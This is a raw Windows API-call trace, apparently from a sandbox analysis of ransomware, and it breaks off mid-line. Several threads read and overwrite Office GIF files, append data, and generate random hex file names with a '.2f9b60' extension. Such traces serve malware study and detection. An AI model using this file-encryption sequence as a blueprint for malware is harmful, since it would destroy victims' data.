[0231.759] ReadFile (in: hFile=0x333c, lpBuffer=0x2ecaf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ecaf8e8, lpOverlapped=0x0 | out: lpBuffer=0x2ecaf8a0*, lpNumberOfBytesRead=0x2ecaf8e8*=0x4, lpOverlapped=0x0) returned 1 [0231.778] SetFilePointerEx (in: hFile=0x333c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267200 [0231.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266510 [0231.779] NtQuerySystemTime (in: CurrentTime=0x2ecaf7e0 | out: CurrentTime=0x2ecaf7e0*=132462178357702000) returned 0x0 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x100113db [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x4f576636 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x782322f8 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x1adeeebc [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x57c0e231 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x79f4dda6 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x4f576636 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x651c0fd5 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x4eb88790 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x272ec7fd [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x18095ddd [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0xf8a8d4d [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x181eded [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x687123f3 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x6bed2c73 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x43433172 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x3236efd2 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x1eae2c4f [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x4839ef4b [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0xd878a43 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x5252b85c [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x40b4f2a7 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x2775ae09 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x37c6d081 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x166b8aff [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x3316842 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x75a538ec [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x2d413f03 [0231.779] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x2559163b [0231.780] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x77658899 [0231.780] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x38a4eefd [0231.780] RtlRandomEx (in: Seed=0x2ecaf7d0 | out: Seed=0x2ecaf7d0) returned 0x4e587c19 [0231.787] ReadFile (in: hFile=0x333c, lpBuffer=0x42859e90, nNumberOfBytesToRead=0x617, lpNumberOfBytesRead=0x2ecaf7d0, lpOverlapped=0x0 | out: lpBuffer=0x42859e90*, lpNumberOfBytesRead=0x2ecaf7d0*=0x617, lpOverlapped=0x0) returned 1 [0231.787] SetFilePointerEx (in: hFile=0x333c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.787] WriteFile (in: hFile=0x333c, lpBuffer=0x42856280*, nNumberOfBytesToWrite=0x617, lpNumberOfBytesWritten=0x2ecaf7d4, lpOverlapped=0x0 | out: lpBuffer=0x42856280*, lpNumberOfBytesWritten=0x2ecaf7d4*=0x617, lpOverlapped=0x0) returned 1 [0234.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0234.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0234.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0234.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42856280) returned 1 [0234.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42859e90) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb260) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058650) returned 1 [0234.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3af0 [0234.751] SetFilePointerEx (in: hFile=0x333c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.751] WriteFile (in: hFile=0x333c, lpBuffer=0x431e1140*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ecaf8f0, lpOverlapped=0x0 | out: lpBuffer=0x431e1140*, lpNumberOfBytesWritten=0x2ecaf8f0*=0x10a, lpOverlapped=0x0) returned 1 [0236.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0236.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0236.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a80) returned 1 [0236.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0236.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0236.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0236.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7e40 [0236.539] sprintf (in: _Dest=0x1b7d7e40, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e42, _Format="%c%c" | out: _Dest="58") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e44, _Format="%c%c" | out: _Dest="3a") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e46, _Format="%c%c" | out: _Dest="83") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e48, _Format="%c%c" | out: _Dest="55") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e4a, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e4c, _Format="%c%c" | out: _Dest="ca") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e4e, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e50, _Format="%c%c" | out: _Dest="33") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e52, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e54, _Format="%c%c" | out: _Dest="59") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e56, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e58, _Format="%c%c" | out: _Dest="0c") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e5a, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e5c, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e5e, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e60, _Format="%c%c" | out: _Dest="27") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e62, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e64, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e66, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.539] sprintf (in: _Dest=0x1b7d7e68, _Format="%c%c" | out: _Dest="26") returned 2 [0236.540] sprintf (in: _Dest=0x1b7d7e6a, _Format="%c%c" | out: _Dest="8b") returned 2 [0236.540] sprintf (in: _Dest=0x1b7d7e6c, _Format="%c%c" | out: _Dest="f4") returned 2 [0236.540] sprintf (in: _Dest=0x1b7d7e6e, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.540] RtlInitAnsiString (in: DestinationString=0x2ecaf968, SourceString="d4583a83552cca7f33b7597f0cacc3e227cddc6b268bf46d" | out: DestinationString="d4583a83552cca7f33b7597f0cacc3e227cddc6b268bf46d") [0236.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ecaf938, SourceString="d4583a83552cca7f33b7597f0cacc3e227cddc6b268bf46d", AllocateDestinationString=1 | out: DestinationString="d4583a83552cca7f33b7597f0cacc3e227cddc6b268bf46d") returned 0x0 [0236.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f7c0 [0236.540] wcscat (in: _Dest=0x431cb760, _Source="d4583a83552c" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c" [0236.541] wcscat (in: _Dest=0x431cb760, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c.2f9b60" [0236.541] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c.2f9b60", NtPathName=0x2ecaf910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d4583a83552c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3b60 Thread: id = 3871 os_tid = 0x22fc [0229.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif")) returned 0x20 [0230.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF", dwFileAttributes=0x20) returned 1 [0231.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3340 [0231.765] GetFileSizeEx (in: hFile=0x3340, lpFileSize=0x341cfa20 | out: lpFileSize=0x341cfa20*=1451) returned 1 [0231.765] SetFilePointerEx (in: hFile=0x3340, liDistanceToMove=0x5a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.765] ReadFile (in: hFile=0x3340, lpBuffer=0x341cf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x341cf9e8, lpOverlapped=0x0 | out: lpBuffer=0x341cf9a0*, lpNumberOfBytesRead=0x341cf9e8*=0x4, lpOverlapped=0x0) returned 1 [0231.787] SetFilePointerEx (in: hFile=0x3340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266510 [0231.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265010 [0231.788] NtQuerySystemTime (in: CurrentTime=0x341cf8e0 | out: CurrentTime=0x341cf8e0*=132462178357858000) returned 0x0 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x4e796018 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x2074f467 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x6eba367d [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x4d26fdaf [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x2de0d468 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x54155146 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x5fbc6f98 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x687123f3 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x132420fc [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x1f8b00ea [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x7f78b65f [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x39b9c31c [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x179fe7cd [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x40b4f2a7 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x31b1aba8 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x454685b6 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x70f047c3 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x54c6d57a [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x3e7191d1 [0231.788] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x42c58f99 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x30b1593c [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x384d68c1 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x1387b985 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x1adc64f1 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x6bf9905b [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x281e2d13 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x6a9d611c [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x640a3ad8 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x544f94c6 [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x126789cc [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x378e0b7a [0231.789] RtlRandomEx (in: Seed=0x341cf8d0 | out: Seed=0x341cf8d0) returned 0x22e7ece9 [0231.796] ReadFile (in: hFile=0x3340, lpBuffer=0x4295ae50, nNumberOfBytesToRead=0x5ab, lpNumberOfBytesRead=0x341cf8d0, lpOverlapped=0x0 | out: lpBuffer=0x4295ae50*, lpNumberOfBytesRead=0x341cf8d0*=0x5ab, lpOverlapped=0x0) returned 1 [0231.796] SetFilePointerEx (in: hFile=0x3340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.796] WriteFile (in: hFile=0x3340, lpBuffer=0x42953630*, nNumberOfBytesToWrite=0x5ab, lpNumberOfBytesWritten=0x341cf8d4, lpOverlapped=0x0 | out: lpBuffer=0x42953630*, lpNumberOfBytesWritten=0x341cf8d4*=0x5ab, lpOverlapped=0x0) returned 1 [0234.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3370 [0234.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3460 [0234.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3460) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42953630) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ae50) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0234.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3460 [0234.755] SetFilePointerEx (in: hFile=0x3340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.755] WriteFile (in: hFile=0x3340, lpBuffer=0x431e1260*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x341cf9f0, lpOverlapped=0x0 | out: lpBuffer=0x431e1260*, lpNumberOfBytesWritten=0x341cf9f0*=0x10a, lpOverlapped=0x0) returned 1 [0236.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0236.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267530 [0236.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267530) returned 1 [0236.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267530 [0236.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0236.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266480) returned 1 [0236.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7e40 [0236.546] sprintf (in: _Dest=0x1b7d7e40, _Format="%c%c" | out: _Dest="db") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e42, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e44, _Format="%c%c" | out: _Dest="03") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e46, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e48, _Format="%c%c" | out: _Dest="79") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e4a, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e4c, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e4e, _Format="%c%c" | out: _Dest="be") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e50, _Format="%c%c" | out: _Dest="35") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e52, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e54, _Format="%c%c" | out: _Dest="da") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e56, _Format="%c%c" | out: _Dest="52") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e58, _Format="%c%c" | out: _Dest="10") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e5a, _Format="%c%c" | out: _Dest="ee") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e5c, _Format="%c%c" | out: _Dest="61") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e5e, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e60, _Format="%c%c" | out: _Dest="64") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e62, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.546] sprintf (in: _Dest=0x1b7d7e64, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.547] sprintf (in: _Dest=0x1b7d7e66, _Format="%c%c" | out: _Dest="cb") returned 2 [0236.547] sprintf (in: _Dest=0x1b7d7e68, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.547] sprintf (in: _Dest=0x1b7d7e6a, _Format="%c%c" | out: _Dest="72") returned 2 [0236.547] sprintf (in: _Dest=0x1b7d7e6c, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.547] sprintf (in: _Dest=0x1b7d7e6e, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.547] RtlInitAnsiString (in: DestinationString=0x341cfa68, SourceString="dbbb038d79ed9cbe350fda5210ee619d644cf2cba472e24d" | out: DestinationString="dbbb038d79ed9cbe350fda5210ee619d644cf2cba472e24d") [0236.547] RtlAnsiStringToUnicodeString (in: DestinationString=0x341cfa38, SourceString="dbbb038d79ed9cbe350fda5210ee619d644cf2cba472e24d", AllocateDestinationString=1 | out: DestinationString="dbbb038d79ed9cbe350fda5210ee619d644cf2cba472e24d") returned 0x0 [0236.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f830 [0236.548] wcscat (in: _Dest=0x431cb800, _Source="dbbb038d79ed" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed" [0236.548] wcscat (in: _Dest=0x431cb800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed.2f9b60" [0236.548] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed.2f9b60", NtPathName=0x341cfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\dbbb038d79ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3c20 Thread: id = 3872 os_tid = 0x15dc [0229.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif")) returned 0x20 [0230.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF", dwFileAttributes=0x20) returned 1 [0231.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3350 [0231.825] GetFileSizeEx (in: hFile=0x3350, lpFileSize=0x2fe5f9e0 | out: lpFileSize=0x2fe5f9e0*=603) returned 1 [0231.826] SetFilePointerEx (in: hFile=0x3350, liDistanceToMove=0x257, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.826] ReadFile (in: hFile=0x3350, lpBuffer=0x2fe5f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe5f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2fe5f960*, lpNumberOfBytesRead=0x2fe5f9a8*=0x4, lpOverlapped=0x0) returned 1 [0231.826] SetFilePointerEx (in: hFile=0x3350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202664e0 [0231.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266420 [0231.827] NtQuerySystemTime (in: CurrentTime=0x2fe5f8a0 | out: CurrentTime=0x2fe5f8a0*=132462178358170000) returned 0x0 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0xf61fe97 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x503955e0 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x4dcaeec3 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x480e6448 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x635e436f [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x27dab839 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x6fed214f [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0xf80899b [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x4fc96961 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x4fc68af0 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x2315e74c [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x65d352c4 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x4a6addb7 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x7ae96389 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 